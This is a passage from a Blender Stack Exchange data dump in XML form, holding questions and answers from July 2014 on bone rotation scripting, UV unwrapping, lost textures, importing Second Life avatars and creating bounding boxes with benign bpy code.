files. (I have no idea if I should give the entire XML file, companies..., though the file doesn't seems so secret to me.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3XUP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd Sample&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VtEI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions:&lt;/strong&gt; My task for importing this xml file into blender seems so close to completion yet feels so far. I've tried messing around with the rotation but to no avail and have been stuck with this issue for a week. The animations appear to be almost correct with the exception of certain bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colleagues have suggested that I used matrix to rotate the bones for animations, but I would not if it's possible and would rather stick with my current way of rotating the bones and tweaking/resolving it to make my animations the way it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing a &lt;code&gt;bpy.ops.transform.rotate(value=(angle), axis=(axisz, axisy, axisx)&lt;/code&gt;, am I rotating as an axis-angle rotation or quaternion rotation?&lt;/p&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.310" LastActivityDate="2014-07-15T15:54:22.320" Title="How do I fix my animation that is created from a XML file?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;transforms&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14046" PostTypeId="1" CreationDate="2014-07-14T11:30:21.273" Score="1" ViewCount="165" Body="&lt;p&gt;I was looking not so long time ago how to solve this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13919/what-is-the-easiest-way-to-smooth-the-intersection-of-two-planes&quot;&gt;What is the easiest way to smooth the intersection of two planes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received a very nice solution from cegaton, but I am struggling to implement a script version of it. I would like vary angle of the two planes and bevel level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate if you could help me with scripting of cegatons solution. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5206" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-07-14T11:54:18.430" Title="Easy way to smooth the intersection of two planes with Python script?" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14048" PostTypeId="1" CreationDate="2014-07-14T18:56:31.130" Score="0" ViewCount="169" Body="&lt;p&gt;I've created a 2D character in Illustrator that I would like apply a rig to. Is it possible to import the file into Blender and apply a rig? &lt;/p&gt;&#xA;" OwnerUserId="5189" LastActivityDate="2014-07-14T18:56:31.130" Title="Can I rig a 2d character that I made in Illustrator with Blender?" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-03T12:10:28.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="1" CreationDate="2014-07-14T19:30:58.947" Score="0" ViewCount="4175" Body="&lt;p&gt;When I try to unwrap my mesh, nothing shows up in my UV/Image editor window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried simple and complex parts, imported and native mesh, all same result.&#xA;Nothing shows up when I hit unwrap.&lt;/p&gt;&#xA;" OwnerUserId="5208" LastEditorUserId="1363" LastEditDate="2014-07-14T20:03:56.320" LastActivityDate="2014-07-16T13:29:39.783" Title="UV mapping - nothing shows in UV / Image Editor" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-10-08T12:08:28.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="14050" PostTypeId="1" CreationDate="2014-07-14T19:35:46.953" Score="7" ViewCount="3265" Body="&lt;p&gt;In the middle of touching up a new texture, I pressed save and suddenly my textures all turned black on the model and UV texture - just vanished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reopening the file in another instance of Blender, I tried to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; too and it just did this weird patchy thing on my texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I recover it and what did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="5209" LastEditorUserId="1363" LastEditDate="2014-07-14T20:07:31.313" LastActivityDate="2014-07-15T00:01:31.773" Title="UV map / model turned black on saving - how to recover?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14052" PostTypeId="2" ParentId="14049" CreationDate="2014-07-14T20:26:39.923" Score="1" Body="&lt;p&gt;When I have this problem, I simply just have to create a new image (named whatever you like) in the UV/Image editor window. After you've done so, try unwrapping your model again from the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, selecting all of your model in edit mode (A key) helps to see the map reflected in the UV/Image workspace.&lt;/p&gt;&#xA;" OwnerUserId="5070" LastEditorUserId="5070" LastEditDate="2014-07-16T13:25:10.797" LastActivityDate="2014-07-16T13:25:10.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14053" PostTypeId="2" ParentId="13864" CreationDate="2014-07-14T20:44:02.390" Score="2" Body="&lt;p&gt;I had to add the &lt;code&gt;self&lt;/code&gt; keyword to access the variable in the invoked operator (basic python, ouch!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AnimOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.anim_operator&quot;&#xA;    bl_label = &quot;Pose Anim Operator&quot;&#xA;&#xA;    text_name = bpy.props.StringProperty(name=&quot;anim_text_name&quot;)&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;invoked script name=%s&quot; % self.text_name ) # &amp;lt;&amp;lt;- self.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-14T20:44:02.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14055" PostTypeId="1" CreationDate="2014-07-14T21:10:30.343" Score="3" ViewCount="1723" Body="&lt;p&gt;I could not find an example for the Bmesh function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.ops.transform(bm, matrix = matrix, space, verts_extrude_b1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the matrix argument and what do you pass it?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="20" LastEditDate="2014-07-14T21:59:36.710" LastActivityDate="2014-07-15T15:51:47.193" Title="How to use bmesh.ops.transform?" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14056" PostTypeId="2" ParentId="14009" CreationDate="2014-07-14T21:37:54.347" Score="0" Body="&lt;p&gt;I added a few more divisions along the curve to bring the low poly more in line with what the subsurf is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used Creased edges set to 0.25 along the outer perimeters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGw5F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3lG7F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend &lt;a href=&quot;http://www.pasteall.org/blend/30407&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30407&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="5705" LastEditDate="2014-12-03T02:26:44.190" LastActivityDate="2014-12-03T02:26:44.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14057" PostTypeId="2" ParentId="14050" CreationDate="2014-07-15T00:01:31.773" Score="8" Body="&lt;p&gt;This is a &lt;a href=&quot;https://developer.blender.org/T40419&quot; rel=&quot;noreferrer&quot;&gt;known limitation&lt;/a&gt;, currently images are not saved with the rest of the .blend file. This means that reloading the .blend or even undoing in some modes will cause unsaved changes to textures to be lost (&lt;em&gt;Global undo&lt;/em&gt; works by reloading an older version of the .blend).&lt;/p&gt;&#xA;&lt;p&gt;To save your images, press &lt;kbd&gt;F3&lt;/kbd&gt; to save it to your hard drive, and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to save changes to an existing image on your hard drive. Or press &lt;em&gt;Image editor &amp;gt; Header &amp;gt; Image &amp;gt; Pack&lt;/em&gt; to embed it in the .blend, and press &lt;em&gt;Pack&lt;/em&gt; again to save changes to an embedded file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WH4T7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can tell when your image has unsaved changes because there is a asterisk after the image menu in the header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksxtk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As GiantCowFilms mentioned, there is &lt;a href=&quot;https://developer.blender.org/D398&quot; rel=&quot;noreferrer&quot;&gt;a patch&lt;/a&gt; which adds autosave functionality for images. &lt;a href=&quot;https://developer.blender.org/D398#comment-1&quot; rel=&quot;noreferrer&quot;&gt;It has not currently been decided whether it should be included or not&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note, I'd like to have some better way to do this then simply adding another option, it seems a but weak and doesn't really fit into painting workflow.&lt;/p&gt;&#xA;&lt;p&gt;But doing this by default is a bit risky too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-15T00:01:31.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14059" PostTypeId="2" ParentId="13892" CreationDate="2014-07-15T00:38:41.747" Score="0" Body="&lt;p&gt;If you don't re-distribute the modified Blender, you can do what you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sell your own modified Blender if you like, as long as you include the source code.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2018-09-16T00:39:23.350" LastActivityDate="2018-09-16T00:39:23.350" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14060" PostTypeId="1" AcceptedAnswerId="14067" CreationDate="2014-07-15T03:12:09.183" Score="2" ViewCount="16819" Body="&lt;p&gt;I have recently downloaded Blender 2.71 as I thought maybe it would have the import/export option for xml that 2.70 did not. I have only been using blender for two months. I have not used any other game engine software. I'm learning this for rigging purposes for a job that I just got. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to import a .xml into blender since that is the type of file the platform uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an addon that I can put into Blender for xml and if so, how do I install it to blender?&lt;/strong&gt; (&amp;lt;&amp;lt;&amp;lt; this is the VERY specific question) Every tutorial on rigging avatars shows how to get the avatar from Second Life into Blender and EVERY single video shows exactly what I commented. They then go into Blender and have the option in their older versions of Blender to IMPORT .xml. So.... again, even though I asked very specifically, is there an addon that I can put in my Blender's Addon folder that allows Blender 2.71 to use/import/open/(whatever other word you would like to use here for the same meaning) .xml so that I can actually begin learning how to rig SecondLife avatars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using this tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=fJIrQw-RMd0&amp;amp;list=PL11D6E99BB51A2BB2&amp;amp;index=1&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=fJIrQw-RMd0&amp;amp;list=PL11D6E99BB51A2BB2&amp;amp;index=1&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that website does not work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried using this tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=ELC4B0PAXDs&amp;amp;index=2&amp;amp;list=PL11D6E99BB51A2BB2&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=ELC4B0PAXDs&amp;amp;index=2&amp;amp;list=PL11D6E99BB51A2BB2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Wiz Daxter's pluggin does not work either. After extracting the files to the addon folder for blender, the next step is to open blender, go to user preferences, go to addons, choose import/export and enable pluggin. The pluggin is not in the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm out of ideas on how to download a pluggin, addon, or extension thing to make Blender accept the Appearance to xml avatar. Second Life only allows you to take your avatar from game in this fashion.&lt;/p&gt;&#xA;" OwnerUserId="5213" LastEditorUserId="55" LastEditDate="2014-07-15T05:51:51.473" LastActivityDate="2015-02-01T18:20:32.850" Title="How do I import a Second -Life Avitar (XML file) into Blender?" Tags="&lt;import&gt;&lt;conversion&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14061" PostTypeId="2" ParentId="13855" CreationDate="2014-07-15T03:27:31.100" Score="1" Body="&lt;p&gt;Whelp. I found a method for achieving what I was after. It was easier than I thought, too! I simply added constraints to the bones in rig B2 that copied rotation/location/scale/transformations from rig B1. That got me matching poses, and from there I could take the next step - to join mesh A2 to mesh A1 as a shape key, something I couldn't do while the poses were mis-matched. Problem solved!&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2014-07-15T03:27:31.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14063" PostTypeId="2" ParentId="14044" CreationDate="2014-07-15T04:14:08.537" Score="7" Body="&lt;p&gt;Got it! As I thought, Blender's normal pass contains exactly the right data, but it's not in the right format.  From &lt;a href=&quot;https://www.youtube.com/watch?v=SSHX5mJb86I&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Translating Blender Normal Maps to After Effects Normality&quot;&gt;a video&lt;/a&gt; intending to use the normal pass in After Effects' &quot;Normality&quot; plugin, I found that it's easy to convert Blender's colors to the standard colors using the node editor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QhOuc.png&quot; alt=&quot;Normal Fix&quot;&gt;&#xA;(This node setup is for Blender Render, not Cycles. For a Cycles solution see &lt;a href=&quot;https://blender.stackexchange.com/a/103329/2952&quot;&gt;this answer&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="5204" LastEditorUserId="2952" LastEditDate="2018-09-04T17:14:21.073" LastActivityDate="2018-09-04T17:14:21.073" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14064" PostTypeId="1" AcceptedAnswerId="19106" CreationDate="2014-07-15T04:51:04.833" Score="1" ViewCount="1248" Body="&lt;p&gt;Hey if an enemy AI is following you on a nav mesh, he will stop if you get off of it. How could I make the nav mesh be everywhere, and where the AI could keep running even if I get off.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-11-12T21:05:08.937" LastActivityDate="2014-11-22T04:25:47.803" Title="Advanced navigation mesh?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="14055" CreationDate="2014-07-15T05:03:14.803" Score="1" Body="&lt;p&gt;A matrix is a 2dimensional array (often 4x4) of values that contains the information needed to perform a transform. One matrix can combine location, rotation and scale information to be applied to an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the matrix functions are in mathutils. &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/mathutils.html#mathutils.Matrix&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; should get you started.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-15T05:03:14.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14066" PostTypeId="2" ParentId="14045" CreationDate="2014-07-15T06:35:41.303" Score="1" Body="&lt;p&gt;Solved it. Turns out, I don't have to do rotation with the data at all. I simply did a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Rig&quot;].pose.bones[boneSelect.name].rotation_axis_angle = [angle,axisz,axisx,axisy]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and keyframe it.&lt;/p&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="1363" LastEditDate="2014-07-15T15:54:22.320" LastActivityDate="2014-07-15T15:54:22.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14067" PostTypeId="2" ParentId="14060" CreationDate="2014-07-15T07:31:37.853" Score="1" Body="&lt;p&gt;As you said the Wiz Daxter &lt;a href=&quot;http://wiz-bg.blogspot.ch/p/main.html&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; is perfect for the importation of secondlife XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have trouble for the installation here are some advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First this addon work only for &lt;strong&gt;32 bits&lt;/strong&gt; version of &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;blender&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After downloading the Wiz Daxter addon, &lt;strong&gt;the 1.0.9 version&lt;/strong&gt;, extract it in you blender folder. In my case it's :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;C:\Program Files (x86)\Blender Foundation\Blender\2.71\scripts\addons&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/!\ Put only the &lt;strong&gt;SLAV&lt;/strong&gt; folder and not Blender263_SLAV_109 in your addon folder!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can enable your addon in the user-preferences that you can acces with &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;u&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the addon is in the Impot-Export Section and its name is Import Secondlif Mesh and Skeleton.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-07-15T07:31:37.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14068" PostTypeId="1" AcceptedAnswerId="14069" CreationDate="2014-07-15T07:38:13.103" Score="2" ViewCount="549" Body="&lt;p&gt;I would like to sculpt but I don't know that shapes I can use to sculpt with. I know that the shape I'm sculpting with needs a lot of vertices to sculpt good, but I don't know all shapes to sculpt with.&lt;/p&gt;&#xA;" OwnerUserId="5217" LastEditorUserId="599" LastEditDate="2014-07-15T07:56:20.793" LastActivityDate="2014-07-15T07:56:20.793" Title="What shapes can I sculpt with?" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14069" PostTypeId="2" ParentId="14068" CreationDate="2014-07-15T07:39:14.037" Score="2" Body="&lt;p&gt;You can use any shape you want.&lt;/p&gt;&#xA;&lt;p&gt;Sculpting modifies a mesh in real time, so at any point you can switch to edit mode and edit the polygons directly, then switch back to sculpt mode, etc.&lt;/p&gt;&#xA;&lt;p&gt;There are two usual workflows for sculpting:&lt;/p&gt;&#xA;&lt;h1&gt;Dynamic topology&lt;/h1&gt;&#xA;&lt;p&gt;You don't need to subdivide your mesh if you use dynamic topology, the mesh will be dynamically subdivided as you sculpt.&lt;/p&gt;&#xA;&lt;p&gt;Enable it in &lt;em&gt;3D view &amp;gt; tool shelf &amp;gt; Dyntopo&lt;/em&gt; (&lt;em&gt;Topology&lt;/em&gt; pre 2.71), or by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfhQc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki for more info&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This will create a mesh of triangles, so depending on the project you may need to do retopology after you are finished sculpting.&lt;/p&gt;&#xA;&lt;h1&gt;Multiresolution&lt;/h1&gt;&#xA;&lt;p&gt;Non-destructively subdivide your mesh with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Multiresolution&quot; rel=&quot;nofollow noreferrer&quot;&gt;multi resolution modifier&lt;/a&gt;, which lets you handle multiple levels of subdivision at once.&lt;/p&gt;&#xA;&lt;p&gt;Because of this, it's quite useful to use on a low poly model, sculpt details, and bake normals.&lt;/p&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/8685/599&quot;&gt;What is the difference between a subdivision surface modifier and multiresolution modifier?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-15T07:54:31.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14070" PostTypeId="1" CreationDate="2014-07-15T07:59:09.657" Score="13" ViewCount="10327" Body="&lt;p&gt;I am using Blensor v2.67. I have a camera and several objects in my scene. The camera follows a path and I would like to save what the camera sees for each frame. Among other things, I would like to save the (oriented) bounding boxes of my objects. I did some research, but I believe &lt;a href=&quot;https://blender.stackexchange.com/questions/3366/display-bounding-box-around-objects&quot;&gt;Display bounding box around objects&lt;/a&gt; only displays the bounding boxes and in &lt;a href=&quot;https://blender.stackexchange.com/questions/7163/save-the-bounding-box-position-of-an-object-in-a-text-file&quot;&gt;Save the bounding box position of an object in a text file&lt;/a&gt; the requirements seem to be different (2D, moving object,...). Any answer on how to do this will be greatly appreciated! Is there inherent functionality to do this or do I need to include a custom script?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2019-11-29T13:04:21.327" Title="Create and export bounding boxes for objects" Tags="&lt;animation&gt;&lt;export&gt;&lt;objects&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14071" PostTypeId="2" ParentId="14070" CreationDate="2014-07-15T08:02:58.200" Score="12" Body="&lt;p&gt;From my answer &lt;a href=&quot;https://blender.stackexchange.com/a/6131/599&quot;&gt;here&lt;/a&gt;, you can create a bounding cube around an object:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Select the target object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin to goemetry&lt;/em&gt;, and then press &lt;kbd&gt;F6&lt;/kbd&gt; and select &lt;em&gt;bounds center&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;With the target object selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to selected&lt;/em&gt; to move the cursor to the objects origin.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Add a cube to be the bounding box. It will automatically be centered at the 3D cursor, which is snapped to the target object's&#xA;  origin point.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Copy the &lt;em&gt;Dimension&lt;/em&gt; and &lt;em&gt;Rotation&lt;/em&gt; values from the target object to the bounding cube. These values are located on the &lt;em&gt;Properties&#xA;  region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt;):    &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HVYFf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can quickly copy and paste values by hovering over the number&#xA;  field and pressing&#xA;  &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;/&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; accordingly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since this process of copying and pasting the values of each channel&#xA;  can be a bit tedious, you can use a quick bit of python to do this for&#xA;  you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;active = bpy.context.active_object&#xA;selected = bpy.context.selected_objects&#xA;&#xA;for obj in selected:&#xA;    obj.dimensions = active.dimensions&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Parent the bounding box to the target object so the relative location, rotation, and scale is kept the same. You can also set the&#xA;  bounding cube's &lt;em&gt;Draw type&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt;&#xA;  Display &gt; Maximum Draw Type&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This processes could be automated in python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;selected = bpy.context.selected_objects&#xA;&#xA;for obj in selected:&#xA;    #ensure origin is centered on bounding box center&#xA;    bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS')&#xA;    #create a cube for the bounding box&#xA;    bpy.ops.mesh.primitive_cube_add() &#xA;    #our new cube is now the active object, so we can keep track of it in a variable:&#xA;    bound_box = bpy.context.active_object &#xA;&#xA;    #copy transforms&#xA;    bound_box.dimensions = obj.dimensions&#xA;    bound_box.location = obj.location&#xA;    bound_box.rotation_euler = obj.rotation_euler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds a bounding box object for every selected object.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-07-30T07:55:47.223" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="1" AcceptedAnswerId="14188" CreationDate="2014-07-15T10:15:33.333" Score="3" ViewCount="1494" Body="&lt;p&gt;Imagine a scene containing multiple objects, for example a bed and a chair. The bed and the chair aren't blender-objects themselves, but they consist of many subobjects. To view the dimensions, rotation etc of one of these subobjects is not a problem, but what if I want to see the dimension of the whole bed? I have thought about parenting all sub-bed-objects to one of the parts or adding them all to a group. However, so far I have not been able to figure out how to display the dimensions of a whole group. How could I do that?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-07-18T19:55:58.183" Title="Properties of a selection of objects" Tags="&lt;objects&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14073" PostTypeId="1" CreationDate="2014-07-15T10:27:24.833" Score="3" ViewCount="1183" Body="&lt;p&gt;I am getting started with the Blender Python API and there is something I do not understand. Lets say I have an object called &quot;myObject&quot; and I wanted to get its dimensions, then I type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;myObject&quot;].dimensions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the python console and get the result. The API &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html#bpy.types.Object&lt;/a&gt; states, that an object also has a bound_box. But if I type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;myObject&quot;].bound_box&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply the command I typed is returned! Why is that and how could I have known from the doc of the API? Also, when I type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;myObject&quot;].show_bounds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it only returns &quot;false&quot;. Why? If I go to the object properties panel and click &quot;Bound&quot; the bounding box is drawn. Why does that work and doing the same (?) via the console does not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-10-13T17:56:48.307" Title="Blender API: Return value of bpy.data.objects(ID).show_bounds and .bound_box" Tags="&lt;python&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
